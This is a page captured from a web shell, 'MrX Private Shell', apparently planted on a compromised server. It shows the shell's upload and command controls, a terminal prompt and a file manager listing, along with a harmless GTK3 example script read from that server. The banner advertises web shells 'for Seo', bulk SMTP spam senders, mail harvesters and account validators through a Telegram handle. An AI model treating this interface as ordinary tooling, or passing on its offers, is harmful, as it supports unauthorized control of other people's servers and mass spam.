__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
// SPDX-License-Identifier: MIT OR LGPL-2.0-or-later
// SPDX-FileCopyrightText: 2008 litl, LLC

// Include the version in case both GTK3 and GTK4 installed
// otherwise an exception will be thrown
import Gtk from 'gi://Gtk?version=3.0';

// Initialize Gtk before you start calling anything from the import
Gtk.init(null);

// Construct a top-level window
let win = new Gtk.Window({
    type: Gtk.WindowType.TOPLEVEL,
    title: 'A default title',
    default_width: 300,
    default_height: 250,
    // A decent example of how constants are mapped:
    //     'Gtk' and 'WindowPosition' from the enum name GtkWindowPosition,
    //     'CENTER' from the enum's constant GTK_WIN_POS_CENTER
    window_position: Gtk.WindowPosition.CENTER,
});

// Object properties can also be set or changed after construction, unless they
// are marked construct-only.
win.title = 'Hello World!';

// This is a callback function
function onDeleteEvent() {
    log('delete-event emitted');
    // If you return false in the "delete_event" signal handler, Gtk will emit
    // the "destroy" signal.
    //
    // Returning true gives you a chance to pop up 'are you sure you want to
    // quit?' type dialogs.
    return false;
}

// When the window is given the "delete_event" signal (this is given by the
// window manager, usually by the "close" option, or on the titlebar), we ask
// it to call the onDeleteEvent() function as defined above.
win.connect('delete-event', onDeleteEvent);

// GJS will warn when calling a C function with unexpected arguments...
//
//     window.connect("destroy", Gtk.main_quit);
//
// ...so use arrow functions for inline callbacks with arguments to adjust
win.connect('destroy', () => {
    Gtk.main_quit();
});

// Create a button to close the window
let button = new Gtk.Button({
    label: 'Close the Window',
    // Set visible to 'true' if you don't want to call button.show() later
    visible: true,
    // Another example of constant mapping:
    //     'Gtk' and 'Align' are taken from the GtkAlign enum,
    //     'CENTER' from the constant GTK_ALIGN_CENTER
    valign: Gtk.Align.CENTER,
    halign: Gtk.Align.CENTER,
});

// Connect to the 'clicked' signal, using another way to call an arrow function
button.connect('clicked', () => win.destroy());

// Add the button to the window
win.add(button);

// Show the window
win.show();

// All gtk applications must have a Gtk.main(). Control will end here and wait
// for an event to occur (like a key press or mouse event). The main loop will
// run until Gtk.main_quit is called.
Gtk.main();


Filemanager

Name Type Size Permission Actions
README File 80 B 0644
calc.js File 3.55 KB 0644
dbus-client.js File 4.72 KB 0644
dbus-service.js File 3.42 KB 0644
gettext.js File 751 B 0644
gio-cat.js File 731 B 0644
glistmodel.js File 3.69 KB 0644
gtk-application.js File 3.64 KB 0644
gtk3-template.js File 1.57 KB 0644
gtk3-template.ui File 1.61 KB 0644
gtk3.js File 2.51 KB 0644
gtk4-frame-clock.js File 2.63 KB 0644
gtk4-template.js File 1.64 KB 0644
gtk4-template.ui File 1.61 KB 0644
gtk4.js File 1.87 KB 0644
http-client.js File 1.71 KB 0644
http-server.js File 1.39 KB 0644
test.jpg File 35.55 KB 0644
test.jpg.license File 158 B 0644
timers.js File 524 B 0644
webkit.js File 438 B 0644
websocket-client.js File 1.44 KB 0644
Filemanager